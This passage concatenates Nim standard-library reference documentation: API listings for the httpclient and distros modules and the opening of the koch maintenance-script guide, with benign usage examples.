never read in requestAux. ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpclient.nim#L526) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpclient.nim#L526) ``` HttpClient = HttpClientBase[Socket] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpclient.nim#L554) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpclient.nim#L554) ``` AsyncHttpClient = HttpClientBase[AsyncSocket] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpclient.nim#L601) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpclient.nim#L601) Consts ------ ``` defUserAgent = "Nim httpclient/1.4.8" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpclient.nim#L302) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpclient.nim#L302) Procs ----- ``` proc code(response: Response | AsyncResponse): HttpCode {...}{. raises: [ValueError, OverflowDefect].} ``` Retrieves the specified response's `HttpCode`. Raises a `ValueError` if the response's `status` does not have a corresponding `HttpCode`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpclient.nim#L227) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpclient.nim#L227) ``` proc contentType(response: Response | AsyncResponse): string {...}{.inline.} ``` Retrieves the specified response's content type. This is effectively the value of the "Content-Type" header. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpclient.nim#L235) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpclient.nim#L235) ``` proc contentLength(response: Response | AsyncResponse): int ``` Retrieves the specified response's content length. This is effectively the value of the "Content-Length" header. A `ValueError` exception will be raised if the value is not an integer. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpclient.nim#L241) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpclient.nim#L241) ``` proc lastModified(response: Response | AsyncResponse): DateTime ``` Retrieves the specified response's last modified time. This is effectively the value of the "Last-Modified" header. Raises a `ValueError` if the parsing fails or the value is not a correctly formatted time. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpclient.nim#L251) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpclient.nim#L251) ``` proc body(response: Response): string {...}{.raises: [IOError, OSError], tags: [ReadIOEffect].} ``` Retrieves the specified response's body. The response's body stream is read synchronously. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpclient.nim#L261) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpclient.nim#L261) ``` proc body(response: AsyncResponse): Future[string] {...}{. raises: [Exception, ValueError], tags: [RootEffect].} ``` Reads the response's body and caches it. The read is performed only once. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpclient.nim#L269) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpclient.nim#L269) ``` proc newProxy(url: string; auth = ""): Proxy {...}{.raises: [], tags: [].} ``` Constructs a new `TProxy` object. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpclient.nim#L328) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpclient.nim#L328) ``` proc newMultipartData(): MultipartData {...}{.inline, raises: [], tags: [].} ``` Constructs a new `MultipartData` object. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpclient.nim#L332) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpclient.nim#L332) ``` proc `$`(data: MultipartData): string {...}{.raises: [], tags: [].} ``` convert MultipartData to string so it's human readable when echo see <https://github.com/nim-lang/Nim/issues/11863> [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpclient.nim#L336) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpclient.nim#L336) ``` proc add(p: MultipartData; name, content: string; filename: string = ""; contentType: string = ""; useStream = true) {...}{.raises: [ValueError], tags: [].} ``` Add a value to the multipart data. When `useStream` is `false`, the file will be read into memory. Raises a `ValueError` exception if `name`, `filename` or `contentType` contain newline characters. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpclient.nim#L348) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpclient.nim#L348) ``` proc add(p: MultipartData; xs: MultipartEntries): MultipartData {...}{.discardable, raises: [ValueError], tags: [].} ``` Add a list of multipart entries to the multipart data `p`. All values are added without a filename and without a content type. ``` data.add({"action": "login", "format": "json"}) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpclient.nim#L376) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpclient.nim#L376) ``` proc newMultipartData(xs: MultipartEntries): MultipartData {...}{. raises: [ValueError], tags: [].} ``` Create a new multipart data object and fill it with the entries `xs` directly. ``` var data = newMultipartData({"action": "login", "format": "json"}) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpclient.nim#L387) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpclient.nim#L387) ``` proc addFiles(p: MultipartData; xs: openArray[tuple[name, file: string]]; mimeDb = newMimetypes(); useStream = true): MultipartData {...}{. discardable, raises: [IOError, ValueError], tags: [ReadIOEffect].} ``` Add files to a multipart data object. The files will be streamed from disk when the request is being made. When `stream` is `false`, the files are instead read into memory, but beware this is very memory ineffecient even for small files. The MIME types will automatically be determined. Raises an `IOError` if the file cannot be opened or reading fails. To manually specify file content, filename and MIME type, use `[]=` instead. ``` data.addFiles({"uploaded_file": "public/test.html"}) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpclient.nim#L397) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpclient.nim#L397) ``` proc `[]=`(p: MultipartData; name, content: string) {...}{.inline, raises: [ValueError], tags: [].} ``` Add a multipart entry to the multipart data `p`. The value is added without a filename and without a content type. ``` data["username"] = "NimUser" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpclient.nim#L418) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpclient.nim#L418) ``` proc `[]=`(p: MultipartData; name: string; file: tuple[name, contentType, content: string]) {...}{.inline, raises: [ValueError], tags: [].} ``` Add a file to the multipart data `p`, specifying filename, contentType and content manually. ``` data["uploaded_file"] = ("test.html", "text/html", "<html><head></head><body><p>test</p></body></html>") ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpclient.nim#L426) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpclient.nim#L426) ``` proc newHttpClient(userAgent = defUserAgent; maxRedirects = 5; sslContext = getDefaultSSL(); proxy: Proxy = nil; timeout = -1; headers = newHttpHeaders()): HttpClient {...}{. raises: [], tags: [].} ``` Creates a new HttpClient instance. `userAgent` specifies the user agent that will be used when making requests. `maxRedirects` specifies the maximum amount of redirects to follow, default is 5. `sslContext` specifies the SSL context to use for HTTPS requests. See [SSL/TLS support](##ssl-tls-support) `proxy` specifies an HTTP proxy to use for this HTTP client's connections. `timeout` specifies the number of milliseconds to allow before a `TimeoutError` is raised. `headers` specifies the HTTP Headers. **Example:** ``` import asyncdispatch, httpclient, strutils proc asyncProc(): Future[string] {.async.} = var client = newAsyncHttpClient() return await client.getContent("http://example.com") let exampleHtml = waitFor asyncProc() assert "Example Domain" in exampleHtml assert not ("Pizza" in exampleHtml) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpclient.nim#L556) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpclient.nim#L556) ``` proc newAsyncHttpClient(userAgent = defUserAgent; maxRedirects = 5; sslContext = getDefaultSSL(); proxy: Proxy = nil; headers = newHttpHeaders()): AsyncHttpClient {...}{. raises: [], tags: [].} ``` Creates a new AsyncHttpClient instance. `userAgent` specifies the user agent that will be used when making requests. `maxRedirects` specifies the maximum amount of redirects to follow, default is 5. `sslContext` specifies the SSL context to use for HTTPS requests. `proxy` specifies an HTTP proxy to use for this HTTP client's connections. `headers` specifies the HTTP Headers. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpclient.nim#L603) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpclient.nim#L603) ``` proc close(client: HttpClient | AsyncHttpClient) ``` Closes any connections held by the HTTP client. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpclient.nim#L632) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpclient.nim#L632) ``` proc getSocket(client: HttpClient): Socket {...}{.inline, raises: [], tags: [].} ``` Get network socket, useful if you want to find out more details about the connection this example shows info about local and remote endpoints ``` if client.connected: echo client.getSocket.getLocalAddr echo client.getSocket.getPeerAddr ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpclient.nim#L638) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpclient.nim#L638) ``` proc getSocket(client: AsyncHttpClient): AsyncSocket {...}{.inline, raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpclient.nim#L650) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpclient.nim#L650) ``` proc request(client: AsyncHttpClient; url: string; httpMethod: string; body = ""; headers: HttpHeaders = nil; multipart: MultipartData = nil): Future[AsyncResponse] {...}{. raises: [Exception, ValueError], tags: [ReadIOEffect, RootEffect, TimeEffect].} ``` Connects to the hostname specified by the URL and performs a request using the custom method string specified by `httpMethod`. Connection will be kept alive. Further requests on the same `client` to the same hostname will not require a new connection to be made. The connection can be closed by using the `close` procedure. This procedure will follow redirects up to a maximum number of redirects specified in `client.maxRedirects`. You need to make sure that the `url` doesn't contain any newline characters. Failing to do so will raise `AssertionDefect`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpclient.nim#L1030) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpclient.nim#L1030) ``` proc request(client: HttpClient; url: string; httpMethod: string; body = ""; headers: HttpHeaders = nil; multipart: MultipartData = nil): Response {...}{.raises: [ ValueError, IOError, OSError, HttpRequestError, Exception, LibraryError, SslError, TimeoutError, ProtocolError, KeyError], tags: [ReadIOEffect, RootEffect, WriteIOEffect, TimeEffect].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpclient.nim#L1033) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpclient.nim#L1033) ``` proc request(client: AsyncHttpClient; url: string; httpMethod = HttpGet; body = ""; headers: HttpHeaders = nil; multipart: MultipartData = nil): Future[AsyncResponse] {...}{. raises: [Exception, ValueError], tags: [ReadIOEffect, RootEffect, TimeEffect].} ``` Connects to the hostname specified by the URL and performs a request using the method specified. Connection will be kept alive. Further requests on the same `client` to the same hostname will not require a new connection to be made. The connection can be closed by using the `close` procedure. When a request is made to a different hostname, the current connection will be closed. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpclient.nim#L1059) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpclient.nim#L1059) ``` proc request(client: HttpClient; url: string; httpMethod = HttpGet; body = ""; headers: HttpHeaders = nil; multipart: MultipartData = nil): Response {...}{.raises: [ ValueError, IOError, OSError, HttpRequestError, Exception, LibraryError, SslError, TimeoutError, ProtocolError, KeyError], tags: [ReadIOEffect, RootEffect, WriteIOEffect, TimeEffect].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpclient.nim#L1062) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpclient.nim#L1062) ``` proc head(client: AsyncHttpClient; url: string): Future[AsyncResponse] {...}{. raises: [Exception, ValueError], tags: [ReadIOEffect, RootEffect, TimeEffect].} ``` Connects to the hostname specified by the URL and performs a HEAD request. This procedure uses httpClient values such as `client.maxRedirects`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpclient.nim#L1084) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpclient.nim#L1084) ``` proc head(client: HttpClient; url: string): Response {...}{.raises: [ValueError, IOError, OSError, HttpRequestError, Exception, LibraryError, SslError, TimeoutError, ProtocolError, KeyError], tags: [ReadIOEffect, RootEffect, WriteIOEffect, TimeEffect].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpclient.nim#L1085) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpclient.nim#L1085) ``` proc get(client: AsyncHttpClient; url: string): Future[AsyncResponse] {...}{. raises: [Exception, ValueError], tags: [ReadIOEffect, RootEffect, TimeEffect].} ``` Connects to the hostname specified by the URL and performs a GET request. This procedure uses httpClient values such as `client.maxRedirects`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpclient.nim#L1091) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpclient.nim#L1091) ``` proc get(client: HttpClient; url: string): Response {...}{.raises: [ValueError, IOError, OSError, HttpRequestError, Exception, LibraryError, SslError, TimeoutError, ProtocolError, KeyError], tags: [ReadIOEffect, RootEffect, WriteIOEffect, TimeEffect].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpclient.nim#L1092) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpclient.nim#L1092) ``` proc getContent(client: AsyncHttpClient; url: string): Future[string] {...}{. raises: [Exception, ValueError], tags: [ReadIOEffect, RootEffect, TimeEffect].} ``` Connects to the hostname specified by the URL and returns the content of a GET request. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpclient.nim#L1098) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpclient.nim#L1098) ``` proc getContent(client: HttpClient; url: string): string {...}{.raises: [ValueError, IOError, OSError, HttpRequestError, Exception, LibraryError, SslError, TimeoutError, ProtocolError, KeyError], tags: [ReadIOEffect, RootEffect, WriteIOEffect, TimeEffect].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpclient.nim#L1099) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpclient.nim#L1099) ``` proc delete(client: AsyncHttpClient; url: string): Future[AsyncResponse] {...}{. raises: [Exception, ValueError], tags: [ReadIOEffect, RootEffect, TimeEffect].} ``` Connects to the hostname specified by the URL and performs a DELETE request. This procedure uses httpClient values such as `client.maxRedirects`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpclient.nim#L1104) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpclient.nim#L1104) ``` proc delete(client: HttpClient; url: string): Response {...}{.raises: [ValueError, IOError, OSError, HttpRequestError, Exception, LibraryError, SslError, TimeoutError, ProtocolError, KeyError], tags: [ReadIOEffect, RootEffect, WriteIOEffect, TimeEffect].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpclient.nim#L1105) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpclient.nim#L1105) ``` proc deleteContent(client: AsyncHttpClient; url: string): Future[string] {...}{. raises: [Exception, ValueError], tags: [ReadIOEffect, RootEffect, TimeEffect].} ``` Connects to the hostname specified by the URL and returns the content of a DELETE request. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpclient.nim#L1110) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpclient.nim#L1110) ``` proc deleteContent(client: HttpClient; url: string): string {...}{.raises: [ ValueError, IOError, OSError, HttpRequestError, Exception, LibraryError, SslError, TimeoutError, ProtocolError, KeyError], tags: [ReadIOEffect, RootEffect, WriteIOEffect, TimeEffect].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpclient.nim#L1111) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpclient.nim#L1111) ``` proc post(client: AsyncHttpClient; url: string; body = ""; multipart: MultipartData = nil): Future[AsyncResponse] {...}{. raises: [Exception, ValueError], tags: [ReadIOEffect, RootEffect, TimeEffect].} ``` Connects to the hostname specified by the URL and performs a POST request. This procedure uses httpClient values such as `client.maxRedirects`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpclient.nim#L1116) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpclient.nim#L1116) ``` proc post(client: HttpClient; url: string; body = ""; multipart: MultipartData = nil): Response {...}{.raises: [ValueError, IOError, OSError, HttpRequestError, Exception, LibraryError, SslError, TimeoutError, ProtocolError, KeyError], tags: [ReadIOEffect, RootEffect, WriteIOEffect, TimeEffect].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpclient.nim#L1118) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpclient.nim#L1118) ``` proc postContent(client: AsyncHttpClient; url: string; body = ""; multipart: MultipartData = nil): Future[string] {...}{. raises: [Exception, ValueError], tags: [ReadIOEffect, RootEffect, TimeEffect].} ``` Connects to the hostname specified by the URL and returns the content of a POST request. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpclient.nim#L1123) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpclient.nim#L1123) ``` proc postContent(client: HttpClient; url: string; body = ""; multipart: MultipartData = nil): string {...}{.raises: [ValueError, IOError, OSError, HttpRequestError, Exception, LibraryError, SslError, TimeoutError, ProtocolError, KeyError], tags: [ReadIOEffect, RootEffect, WriteIOEffect, TimeEffect].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpclient.nim#L1125) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpclient.nim#L1125) ``` proc put(client: AsyncHttpClient; url: string; body = ""; multipart: MultipartData = nil): Future[AsyncResponse] {...}{. raises: [Exception, ValueError], tags: [ReadIOEffect, RootEffect, TimeEffect].} ``` Connects to the hostname specified by the URL and performs a PUT request. This procedure uses httpClient values such as `client.maxRedirects`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpclient.nim#L1130) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpclient.nim#L1130) ``` proc put(client: HttpClient; url: string; body = ""; multipart: MultipartData = nil): Response {...}{.raises: [ValueError, IOError, OSError, HttpRequestError, Exception, LibraryError, SslError, TimeoutError, ProtocolError, KeyError], tags: [ReadIOEffect, RootEffect, WriteIOEffect, TimeEffect].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpclient.nim#L1132) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpclient.nim#L1132) ``` proc putContent(client: AsyncHttpClient; url: string; body = ""; multipart: MultipartData = nil): Future[string] {...}{. raises: [Exception, ValueError], tags: [ReadIOEffect, RootEffect, TimeEffect].} ``` Connects to the hostname specified by the URL andreturns the content of a PUT request. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpclient.nim#L1137) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpclient.nim#L1137) ``` proc putContent(client: HttpClient; url: string; body = ""; multipart: MultipartData = nil): string {...}{.raises: [ValueError, IOError, OSError, HttpRequestError, Exception, LibraryError, SslError, TimeoutError, ProtocolError, KeyError], tags: [ReadIOEffect, RootEffect, WriteIOEffect, TimeEffect].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpclient.nim#L1138) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpclient.nim#L1138) ``` proc patch(client: AsyncHttpClient; url: string; body = ""; multipart: MultipartData = nil): Future[AsyncResponse] {...}{. raises: [Exception, ValueError], tags: [ReadIOEffect, RootEffect, TimeEffect].} ``` Connects to the hostname specified by the URL and performs a PATCH request. This procedure uses httpClient values such as `client.maxRedirects`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpclient.nim#L1143) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpclient.nim#L1143) ``` proc patch(client: HttpClient; url: string; body = ""; multipart: MultipartData = nil): Response {...}{.raises: [ValueError, IOError, OSError, HttpRequestError, Exception, LibraryError, SslError, TimeoutError, ProtocolError, KeyError], tags: [ReadIOEffect, RootEffect, WriteIOEffect, TimeEffect].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpclient.nim#L1145) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpclient.nim#L1145) ``` proc patchContent(client: AsyncHttpClient; url: string; body = ""; multipart: MultipartData = nil): Future[string] {...}{. raises: [Exception, ValueError], tags: [ReadIOEffect, RootEffect, TimeEffect].} ``` Connects to the hostname specified by the URL and returns the content of a PATCH request. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpclient.nim#L1150) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpclient.nim#L1150) ``` proc patchContent(client: HttpClient; url: string; body = ""; multipart: MultipartData = nil): string {...}{.raises: [ValueError, IOError, OSError, HttpRequestError, Exception, LibraryError, SslError, TimeoutError, ProtocolError, KeyError], tags: [ReadIOEffect, RootEffect, WriteIOEffect, TimeEffect].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpclient.nim#L1152) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpclient.nim#L1152) ``` proc downloadFile(client: HttpClient; url: string; filename: string) {...}{.raises: [ ValueError, IOError, OSError, HttpRequestError, Exception, LibraryError, SslError, TimeoutError, ProtocolError, KeyError], tags: [ReadIOEffect, RootEffect, WriteIOEffect, TimeEffect].} ``` Downloads `url` and saves it to `filename`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpclient.nim#L1157) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpclient.nim#L1157) ``` proc downloadFile(client: AsyncHttpClient; url: string; filename: string): Future[ void] {...}{.raises: [Exception], tags: [ReadIOEffect, RootEffect, TimeEffect].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/httpclient.nim#L1173) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/httpclient.nim#L1173) Exports ------- [Http417](httpcore#Http417), [Http503](httpcore#Http503), [Http431](httpcore#Http431), [==](httpcore#==,tuple%5Bstring,int,int%5D,HttpVersion), [contains](httpcore#contains,HttpHeaderValues,string), [Http304](httpcore#Http304), [Http406](httpcore#Http406), [==](httpcore#==,string,HttpCode), [$](httpcore#%24,HttpHeaders), [clear](httpcore#clear,HttpHeaders), [Http408](httpcore#Http408), [$](httpcore#%24,HttpMethod), [Http411](httpcore#Http411), [is3xx](httpcore#is3xx,HttpCode), [Http418](httpcore#Http418), [Http206](httpcore#Http206), [HttpMethod](httpcore#HttpMethod), [Http101](httpcore#Http101), [httpNewLine](httpcore#httpNewLine), [Http505](httpcore#Http505), [Http413](httpcore#Http413), [newHttpHeaders](httpcore#newHttpHeaders), [Http200](httpcore#Http200), [[]=](httpcore#%5B%5D=,HttpHeaders,string,string), [Http414](httpcore#Http414), [add](httpcore#add,HttpHeaders,string,string), [Http401](httpcore#Http401), [Http205](httpcore#Http205), [==](httpcore#==,HttpCode,HttpCode), [Http407](httpcore#Http407), [Http500](httpcore#Http500), [Http404](httpcore#Http404), [Http416](httpcore#Http416), [Http308](httpcore#Http308), [Http302](httpcore#Http302), [HttpHeaders](httpcore#HttpHeaders), [Http300](httpcore#Http300), [Http428](httpcore#Http428), [Http410](httpcore#Http410), [is2xx](httpcore#is2xx,HttpCode), [Http202](httpcore#Http202), [Http502](httpcore#Http502), [headerLimit](httpcore#headerLimit), [HttpHeaderValues](httpcore#HttpHeaderValues), [contains](httpcore#contains,set%5BHttpMethod%5D,string), [newHttpHeaders](httpcore#newHttpHeaders,openArray%5Btuple%5Bstring,string%5D%5D), [$](httpcore#%24,HttpCode), [[]](httpcore#%5B%5D,HttpHeaders,string), [Http305](httpcore#Http305), [Http451](httpcore#Http451), [Http409](httpcore#Http409), [Http504](httpcore#Http504), [Http426](httpcore#Http426), [hasKey](httpcore#hasKey,HttpHeaders,string), [del](httpcore#del,HttpHeaders,string), [pairs](httpcore#pairs.i,HttpHeaders), [Http429](httpcore#Http429), [HttpVersion](httpcore#HttpVersion), [[]=](httpcore#%5B%5D=,HttpHeaders,string,seq%5Bstring%5D), [Http421](httpcore#Http421), [Http307](httpcore#Http307), [Http301](httpcore#Http301), [is4xx](httpcore#is4xx,HttpCode), [Http203](httpcore#Http203), [getOrDefault](httpcore#getOrDefault,HttpHeaders,string), [Http100](httpcore#Http100), [Http501](httpcore#Http501), [len](httpcore#len,HttpHeaders), [Http400](httpcore#Http400), [Http403](httpcore#Http403), [is5xx](httpcore#is5xx,HttpCode), [Http415](httpcore#Http415), [toString](httpcore#toString.c,HttpHeaderValues), [Http412](httpcore#Http412), [Http405](httpcore#Http405), [Http303](httpcore#Http303), [Http204](httpcore#Http204), [Http201](httpcore#Http201), [HttpCode](httpcore#HttpCode), [Http422](httpcore#Http422), [[]](httpcore#%5B%5D,HttpHeaders,string,int)
programming_docs
nim distros distros ======= This module implements the basics for Linux distribution ("distro") detection and the OS's native package manager. Its primary purpose is to produce output for Nimble packages like: ``` To complete the installation, run: sudo apt-get install libblas-dev sudo apt-get install libvoodoo ``` The above output could be the result of a code snippet like: ``` if detectOs(Ubuntu): foreignDep "lbiblas-dev" foreignDep "libvoodoo" ``` See <packaging> for hints on distributing Nim using OS packages. Imports ------- <strutils>, <osproc>, <os> Types ----- ``` Distribution {...}{.pure.} = enum Windows, ## some version of Windows Posix, ## some Posix system MacOSX, ## some version of OSX Linux, ## some version of Linux Ubuntu, Debian, Gentoo, Fedora, RedHat, OpenSUSE, Manjaro, Elementary, Zorin, CentOS, Deepin, ArchLinux, Antergos, PCLinuxOS, Mageia, LXLE, Solus, Lite, Slackware, Androidx86, Puppy, Peppermint, Tails, AntiX, Kali, SparkyLinux, Apricity, BlackLab, Bodhi, TrueOS, ArchBang, KaOS, WattOS, Korora, Simplicity, RemixOS, OpenMandriva, Netrunner, Alpine, BlackArch, Ultimate, Gecko, Parrot, KNOPPIX, GhostBSD, Sabayon, Salix, Q4OS, ClearOS, Container, ROSA, Zenwalk, Parabola, ChaletOS, BackBox, MXLinux, Vector, Maui, Qubes, RancherOS, Oracle, TinyCore, Robolinux, Trisquel, Voyager, Clonezilla, SteamOS, Absolute, NixOS, ## NixOS or a Nix build environment AUSTRUMI, Arya, Porteus, AVLinux, Elive, Bluestar, SliTaz, Solaris, Chakra, Wifislax, Scientific, ExTiX, Rockstor, GoboLinux, BSD, FreeBSD, OpenBSD, DragonFlyBSD, Haiku ``` the list of known distributions [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/distros.nim#L37) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/distros.nim#L37) Consts ------ ``` LacksDevPackages = {Distribution.Gentoo, Distribution.Slackware, Distribution.ArchLinux} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/distros.nim#L136) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/distros.nim#L136) Procs ----- ``` proc foreignCmd(cmd: string; requiresSudo = false) {...}{.raises: [], tags: [].} ``` Registers a foreign command to the intern list of commands that can be queried later. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/distros.nim#L211) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/distros.nim#L211) ``` proc foreignDepInstallCmd(foreignPackageName: string): (string, bool) {...}{. raises: [Exception, IOError, OSError], tags: [ExecIOEffect, ReadIOEffect, RootEffect, ReadEnvEffect].} ``` Returns the distro's native command line to install 'foreignPackageName' and whether it requires root/admin rights. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/distros.nim#L220) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/distros.nim#L220) ``` proc foreignDep(foreignPackageName: string) {...}{. raises: [Exception, IOError, OSError], tags: [ExecIOEffect, ReadIOEffect, RootEffect, ReadEnvEffect].} ``` Registers 'foreignPackageName' to the internal list of foreign deps. It is your job to ensure the package name [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/distros.nim#L263) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/distros.nim#L263) ``` proc echoForeignDeps() {...}{.raises: [], tags: [].} ``` Writes the list of registered foreign deps to stdout. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/distros.nim#L269) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/distros.nim#L269) Templates --------- ``` template detectOs(d: untyped): bool ``` Distro/OS detection. For convenience the required `Distribution.` qualifier is added to the enum value. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/distros.nim#L202) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/distros.nim#L202) nim Nim maintenance script Nim maintenance script ====================== > "A great chef is an artist that I truly respect" -- Robert Stack. > > Introduction ------------ The koch program is Nim's maintenance script. It is a replacement for make and shell scripting with the advantage that it is much more portable. The word *koch* means *cook* in German. `koch` is used mainly to build the Nim compiler, but it can also be used for other tasks. This document describes the supported commands and their options. Commands -------- ### boot command The boot command bootstraps the compiler, and it accepts different options: -d:release By default a debug version is created, passing this option will force a release build, which is much faster and should be preferred unless you are debugging the compiler. -d:nimUseLinenoise Use the linenoise library for interactive mode (not needed on Windows). After compilation is finished you will hopefully end up with the nim compiler in the `bin` directory. You can add Nim's `bin` directory to your `$PATH` or use the install command to place it where it will be found. ### csource command The csource command builds the C sources for installation. It accepts the same options as you would pass to the [boot command](#commands-boot-command). ### temp command The temp command builds the Nim compiler but with a different final 